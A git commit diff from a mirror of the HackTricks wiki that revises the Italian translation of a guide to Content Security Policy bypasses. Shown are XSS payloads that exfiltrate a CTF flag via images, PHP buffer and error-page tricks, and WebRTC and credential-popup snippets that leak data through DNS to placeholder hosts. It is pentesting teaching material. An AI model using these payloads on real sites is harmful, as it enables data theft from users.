mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/content-security-policy-csp-bypass/READM
This commit is contained in:
parent
8a1fe2740c
commit
cafc54fec8
@ -52,19 +52,19 @@ object-src 'none';
|
||||
- **object-src**: Definisce le fonti consentite per gli elementi `<object>`, `<embed>`, e `<applet>`.
|
||||
- **base-uri**: Specifica gli URL consentiti per il caricamento utilizzando elementi `<base>`.
|
||||
- **form-action**: Elenca gli endpoint validi per le sottomissioni di moduli.
|
||||
- **plugin-types**: Limita i tipi MIME che una pagina può invocare.
|
||||
- **plugin-types**: Limita i tipi mime che una pagina può invocare.
|
||||
- **upgrade-insecure-requests**: Istruisce i browser a riscrivere gli URL HTTP in HTTPS.
|
||||
- **sandbox**: Applica restrizioni simili all'attributo sandbox di un `<iframe>`.
|
||||
- **report-to**: Specifica un gruppo a cui verrà inviato un rapporto se la politica viene violata.
|
||||
- **worker-src**: Specifica fonti valide per script Worker, SharedWorker o ServiceWorker.
|
||||
- **prefetch-src**: Specifica fonti valide per le risorse che verranno recuperate o prelevate.
|
||||
- **prefetch-src**: Specifica fonti valide per le risorse che verranno recuperate o pre-recuperate.
|
||||
- **navigate-to**: Limita gli URL a cui un documento può navigare con qualsiasi mezzo (a, modulo, window.location, window.open, ecc.)
|
||||
|
||||
### Fonti
|
||||
|
||||
- `*`: Consente tutti gli URL tranne quelli con schemi `data:`, `blob:`, `filesystem:`.
|
||||
- `'self'`: Consente il caricamento dallo stesso dominio.
|
||||
- `'data'`: Consente il caricamento di risorse tramite lo schema dati (ad es., immagini codificate in Base64).
|
||||
- `'data'`: Consente il caricamento delle risorse tramite lo schema dati (ad es., immagini codificate in Base64).
|
||||
- `'none'`: Blocca il caricamento da qualsiasi fonte.
|
||||
- `'unsafe-eval'`: Consente l'uso di `eval()` e metodi simili, non raccomandato per motivi di sicurezza.
|
||||
- `'unsafe-hashes'`: Abilita gestori di eventi inline specifici.
|
||||
@ -161,13 +161,13 @@ Payload funzionante:
|
||||
```
|
||||
Tuttavia, è altamente probabile che il server **stia convalidando il file caricato** e permetterà solo di **caricare determinati tipi di file**.
|
||||
|
||||
Inoltre, anche se potessi caricare un **codice JS all'interno** di un file utilizzando un'estensione accettata dal server (come: _script.png_), questo non sarà sufficiente perché alcuni server come il server apache **selezionano il tipo MIME del file in base all'estensione** e browser come Chrome **rifiuteranno di eseguire codice Javascript** all'interno di qualcosa che dovrebbe essere un'immagine. "Speriamo", ci sono errori. Ad esempio, da un CTF ho appreso che **Apache non conosce** l'estensione _**.wave**_, quindi non la serve con un **tipo MIME come audio/\***.
|
||||
Inoltre, anche se potessi caricare un **codice JS all'interno** di un file utilizzando un'estensione accettata dal server (come: _script.png_), questo non sarà sufficiente perché alcuni server come il server Apache **selezionano il tipo MIME del file in base all'estensione** e browser come Chrome **rifiuteranno di eseguire codice Javascript** all'interno di qualcosa che dovrebbe essere un'immagine. "Speriamo", ci sono errori. Ad esempio, da un CTF ho appreso che **Apache non conosce** l'estensione _**.wave**_, quindi non la serve con un **tipo MIME come audio/\***.
|
||||
|
||||
Da qui, se trovi un XSS e un caricamento di file, e riesci a trovare un **estensione mal interpretata**, potresti provare a caricare un file con quell'estensione e il contenuto dello script. Oppure, se il server sta controllando il formato corretto del file caricato, crea un polyglot ([alcuni esempi di polyglot qui](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
### Form-action
|
||||
|
||||
Se non è possibile iniettare JS, potresti comunque provare a esfiltrare, ad esempio, credenziali **iniettando un'azione del modulo** (e magari aspettandoti che i gestori di password compilino automaticamente le password). Puoi trovare un [**esempio in questo report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Inoltre, nota che `default-src` non copre le azioni del modulo.
|
||||
Se non è possibile iniettare JS, potresti comunque provare a esfiltrare, ad esempio, credenziali **iniettando un'azione del modulo** (e magari aspettandoti che i gestori di password compilino automaticamente le password). Puoi trovare un [**esempio in questo rapporto**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Inoltre, nota che `default-src` non copre le azioni del modulo.
|
||||
|
||||
### Endpoint di terze parti + ('unsafe-eval')
|
||||
|
||||
@ -309,7 +309,7 @@ Ad esempio, se trovi la seguente CSP:
|
||||
```
|
||||
Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||||
```
|
||||
or
|
||||
o
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
@ -345,7 +345,7 @@ Questo funziona perché per il browser stai caricando un file chiamato `..%2fang
|
||||
|
||||
∑, lo decodificheranno, richiedendo effettivamente `https://example.com/scripts/react/../angular/angular.js`, che è equivalente a `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Sfruttando **questa incoerenza nell'interpretazione degli URL tra il browser e il server, le regole del percorso possono essere eluse**.
|
||||
**Sfruttando questa incoerenza nell'interpretazione degli URL tra il browser e il server, le regole del percorso possono essere bypassate**.
|
||||
|
||||
La soluzione è non trattare `%2f` come `/` sul lato server, garantendo un'interpretazione coerente tra il browser e il server per evitare questo problema.
|
||||
|
||||
@ -368,7 +368,7 @@ Se la pagina vulnerabile è caricata con **httpS**, utilizza un URL httpS nella
|
||||
```
|
||||
### AngularJS eventi
|
||||
|
||||
Una politica specifica nota come Content Security Policy (CSP) può limitare gli eventi JavaScript. Tuttavia, AngularJS introduce eventi personalizzati come alternativa. All'interno di un evento, AngularJS fornisce un oggetto unico `$event`, che fa riferimento all'oggetto evento nativo del browser. Questo oggetto `$event` può essere sfruttato per eludere la CSP. È importante notare che, in Chrome, l'oggetto `$event/event` possiede un attributo `path`, che contiene un array di oggetti implicati nella catena di esecuzione dell'evento, con l'oggetto `window` invariabilmente posizionato alla fine. Questa struttura è fondamentale per le tattiche di fuga dal sandbox.
|
||||
Una politica specifica nota come Content Security Policy (CSP) può limitare gli eventi JavaScript. Tuttavia, AngularJS introduce eventi personalizzati come alternativa. All'interno di un evento, AngularJS fornisce un oggetto unico `$event`, che fa riferimento all'oggetto evento nativo del browser. Questo oggetto `$event` può essere sfruttato per eludere la CSP. È importante notare che, in Chrome, l'oggetto `$event/event` possiede un attributo `path`, che contiene un array di oggetti implicati nella catena di esecuzione dell'evento, con l'oggetto `window` invariabilmente posizionato alla fine. Questa struttura è fondamentale per le tattiche di fuga dalla sandbox.
|
||||
|
||||
Dirigendo questo array al filtro `orderBy`, è possibile iterare su di esso, sfruttando l'elemento terminale (l'oggetto `window`) per attivare una funzione globale come `alert()`. Il frammento di codice dimostrato di seguito illustra questo processo:
|
||||
```xml
|
||||
@ -419,11 +419,11 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
Se il CSP è impostato su `https://www.google.com/a/b/c/d`, poiché il percorso è considerato, sia gli script `/test` che `/a/test` saranno bloccati dal CSP.
|
||||
Se CSP è impostato su `https://www.google.com/a/b/c/d`, poiché il percorso è considerato, sia gli script `/test` che `/a/test` saranno bloccati da CSP.
|
||||
|
||||
Tuttavia, il finale `http://localhost:5555/301` sarà **reindirizzato sul lato server a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Poiché si tratta di un reindirizzamento, il **percorso non è considerato**, e lo **script può essere caricato**, eludendo così la restrizione del percorso.
|
||||
|
||||
Con questo reindirizzamento, anche se il percorso è specificato completamente, verrà comunque eluso.
|
||||
Con questo reindirizzamento, anche se il percorso è specificato completamente, sarà comunque eluso.
|
||||
|
||||
Pertanto, la soluzione migliore è garantire che il sito web non abbia vulnerabilità di reindirizzamento aperto e che non ci siano domini che possano essere sfruttati nelle regole CSP.
|
||||
|
||||
@ -437,7 +437,7 @@ default-src 'self' 'unsafe-inline'; img-src *;
|
||||
```
|
||||
`'unsafe-inline'` significa che puoi eseguire qualsiasi script all'interno del codice (XSS può eseguire codice) e `img-src *` significa che puoi utilizzare nella pagina web qualsiasi immagine da qualsiasi risorsa.
|
||||
|
||||
Puoi bypassare questo CSP esfiltrando i dati tramite immagini (in questa occasione l'XSS sfrutta un CSRF dove una pagina accessibile dal bot contiene un SQLi, e estrae il flag tramite un'immagine):
|
||||
Puoi bypassare questo CSP esfiltrando i dati tramite immagini (in questa occasione l'XSS sfrutta un CSRF dove una pagina accessibile dal bot contiene un SQLi, ed estrae il flag tramite un'immagine):
|
||||
```javascript
|
||||
<script>
|
||||
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
|
||||
@ -478,7 +478,7 @@ Esempio: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3
|
||||
### img-src \*; via XSS (iframe) - Attacco temporale
|
||||
|
||||
Nota l'assenza della direttiva `'unsafe-inline'`\
|
||||
Questa volta puoi far **caricare** alla vittima una pagina sotto **il tuo controllo** tramite **XSS** con un `<iframe`. Questa volta farai accedere la vittima alla pagina da cui vuoi estrarre informazioni (**CSRF**). Non puoi accedere al contenuto della pagina, ma se in qualche modo puoi **controllare il tempo necessario per caricare la pagina** puoi estrarre le informazioni di cui hai bisogno.
|
||||
Questa volta puoi far **caricare** una pagina sotto il **tuo controllo** tramite **XSS** con un `<iframe`. Questa volta farai accedere la vittima alla pagina da cui vuoi estrarre informazioni (**CSRF**). Non puoi accedere al contenuto della pagina, ma se in qualche modo puoi **controllare il tempo necessario per caricare la pagina** puoi estrarre le informazioni di cui hai bisogno.
|
||||
|
||||
Questa volta una **flag** verrà estratta, ogni volta che un **carattere viene indovinato correttamente** tramite SQLi la **risposta** richiede **più tempo** a causa della funzione di sleep. Poi, sarai in grado di estrarre la flag:
|
||||
```html
|
||||
@ -542,13 +542,13 @@ run()
|
||||
```
|
||||
### Via Bookmarklets
|
||||
|
||||
Questo attacco implicherebbe un po' di ingegneria sociale in cui l'attaccante **convince l'utente a trascinare e rilasciare un link sopra il bookmarklet del browser**. Questo bookmarklet conterrà **codice javascript malevolo** che, quando trascinato e rilasciato o cliccato, verrebbe eseguito nel contesto della finestra web attuale, **bypassando CSP e consentendo di rubare informazioni sensibili** come cookie o token.
|
||||
Questo attacco implicherebbe un po' di ingegneria sociale in cui l'attaccante **convince l'utente a trascinare e rilasciare un link sopra il bookmarklet del browser**. Questo bookmarklet conterrà **codice javascript malevolo** che, quando trascinato e rilasciato o cliccato, verrebbe eseguito nel contesto della finestra web attuale, **bypassando CSP e permettendo di rubare informazioni sensibili** come cookie o token.
|
||||
|
||||
Per ulteriori informazioni [**controlla il rapporto originale qui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### Bypass CSP limitando CSP
|
||||
|
||||
In [**questo writeup CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP viene bypassato iniettando all'interno di un iframe consentito un CSP più restrittivo che non consentiva di caricare un file JS specifico che, poi, tramite **prototype pollution** o **dom clobbering** consentiva di **abusare di uno script diverso per caricare uno script arbitrario**.
|
||||
In [**questo writeup CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP viene bypassato iniettando all'interno di un iframe consentito un CSP più restrittivo che non consentiva di caricare un file JS specifico che, poi, tramite **prototype pollution** o **dom clobbering** permetteva di **abusare di uno script diverso per caricare uno script arbitrario**.
|
||||
|
||||
Puoi **limitare un CSP di un Iframe** con l'attributo **`csp`**:
|
||||
```html
|
||||
@ -556,8 +556,8 @@ Puoi **limitare un CSP di un Iframe** con l'attributo **`csp`**:
|
||||
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||||
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
||||
```
|
||||
In [**questo CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), è stato possibile tramite **HTML injection** **ristretta** ulteriormente una **CSP** così uno script che preveniva CSTI è stato disabilitato e quindi la **vulnerabilità è diventata sfruttabile.**\
|
||||
La CSP può essere resa più restrittiva utilizzando **HTML meta tags** e gli script inline possono disabilitare **rimuovendo** l'**entry** che consente il loro **nonce** e **abilitare specifici script inline tramite sha**:
|
||||
In [**questo CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), è stato possibile tramite **HTML injection** **ristretta** ulteriormente una **CSP** in modo che uno script che preveniva CSTI fosse disabilitato e quindi la **vulnerabilità è diventata sfruttabile.**\
|
||||
La CSP può essere resa più restrittiva utilizzando **HTML meta tags** e gli script inline possono essere disabilitati **rimuovendo** l'**entry** che consente il loro **nonce** e **abilitando script inline specifici tramite sha**:
|
||||
```html
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
@ -581,11 +581,11 @@ document.querySelector("DIV").innerHTML =
|
||||
|
||||
- Un `iframe` viene creato che punta a un URL (chiamiamolo `https://example.redirect.com`) che è permesso da CSP.
|
||||
- Questo URL poi reindirizza a un URL segreto (ad es., `https://usersecret.example2.com`) che **non è consentito** da CSP.
|
||||
- Ascoltando l'evento `securitypolicyviolation`, si può catturare la proprietà `blockedURI`. Questa proprietà rivela il dominio dell'URI bloccato, rivelando il dominio segreto a cui l'URL iniziale ha reindirizzato.
|
||||
- Ascoltando l'evento `securitypolicyviolation`, si può catturare la proprietà `blockedURI`. Questa proprietà rivela il dominio dell'URI bloccato, facendo trapelare il dominio segreto a cui l'URL iniziale ha reindirizzato.
|
||||
|
||||
È interessante notare che browser come Chrome e Firefox hanno comportamenti diversi nella gestione degli iframe rispetto a CSP, portando a potenziali perdite di informazioni sensibili a causa di comportamenti non definiti.
|
||||
|
||||
Un'altra tecnica coinvolge lo sfruttamento della CSP stessa per dedurre il sottodominio segreto. Questo metodo si basa su un algoritmo di ricerca binaria e sull'aggiustamento della CSP per includere domini specifici che sono deliberatamente bloccati. Ad esempio, se il sottodominio segreto è composto da caratteri sconosciuti, puoi testare iterativamente diversi sottodomini modificando la direttiva CSP per bloccare o consentire questi sottodomini. Ecco un frammento che mostra come la CSP potrebbe essere impostata per facilitare questo metodo:
|
||||
Un'altra tecnica coinvolge lo sfruttamento della CSP stessa per dedurre il sottodominio segreto. Questo metodo si basa su un algoritmo di ricerca binaria e sull'aggiustamento della CSP per includere domini specifici che sono deliberatamente bloccati. Ad esempio, se il sottodominio segreto è composto da caratteri sconosciuti, puoi testare iterativamente diversi sottodomini modificando la direttiva CSP per bloccare o consentire questi sottodomini. Ecco un frammento che mostra come la CSP potrebbe essere configurata per facilitare questo metodo:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
@ -603,14 +603,14 @@ Secondo l'[**ultima tecnica commentata in questo video**](https://www.youtube.co
|
||||
|
||||
### Sovraccarico del buffer di risposta PHP
|
||||
|
||||
PHP è noto per **bufferizzare la risposta a 4096** byte per impostazione predefinita. Pertanto, se PHP mostra un avviso, fornendo **dati sufficienti all'interno degli avvisi**, la **risposta** verrà **inviata** **prima** dell'**header CSP**, causando l'ignoranza dell'header.\
|
||||
PHP è noto per **bufferizzare la risposta fino a 4096** byte per impostazione predefinita. Pertanto, se PHP mostra un avviso, fornendo **dati sufficienti all'interno degli avvisi**, la **risposta** verrà **inviata** **prima** dell'**header CSP**, causando l'ignoranza dell'header.\
|
||||
Quindi, la tecnica consiste fondamentalmente nel **riempire il buffer di risposta con avvisi** in modo che l'header CSP non venga inviato.
|
||||
|
||||
Idea da [**questo writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
||||
### Riscrivere la pagina di errore
|
||||
|
||||
Da [**questo writeup**](https://blog.ssrf.kr/69) sembra che fosse possibile bypassare una protezione CSP caricando una pagina di errore (potenzialmente senza CSP) e riscrivendo il suo contenuto.
|
||||
Da [**questo writeup**](https://blog.ssrf.kr/69) sembra che sia stato possibile bypassare una protezione CSP caricando una pagina di errore (potenzialmente senza CSP) e riscrivendo il suo contenuto.
|
||||
```javascript
|
||||
a = window.open("/" + "x".repeat(4100))
|
||||
setTimeout(function () {
|
||||
@ -680,7 +680,7 @@ X-DNS-Prefetch-Control: off
|
||||
|
||||
Su diverse pagine puoi leggere che **WebRTC non controlla la politica `connect-src`** del CSP.
|
||||
|
||||
In realtà puoi _leak_ informazioni utilizzando una _richiesta DNS_. Controlla questo codice:
|
||||
In realtà puoi _leak_ informazioni utilizzando una _richiesta DNS_. Dai un'occhiata a questo codice:
|
||||
```javascript
|
||||
;(async () => {
|
||||
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
|
||||
@ -700,6 +700,19 @@ var pc = new RTCPeerConnection({
|
||||
});
|
||||
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||
```
|
||||
### CredentialsContainer
|
||||
|
||||
Il popup delle credenziali invia una richiesta DNS all'iconURL senza essere limitato dalla pagina. Funziona solo in un contesto sicuro (HTTPS) o su localhost.
|
||||
```javascript
|
||||
navigator.credentials.store(
|
||||
new FederatedCredential({
|
||||
id:"satoki",
|
||||
name:"satoki",
|
||||
provider:"https:"+your_data+"example.com",
|
||||
iconURL:"https:"+your_data+"example.com"
|
||||
})
|
||||
)
|
||||
```
|
||||
## Controllare le politiche CSP online
|
||||
|
||||
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
||||
|
Loading…
x
Reference in New Issue
Block a user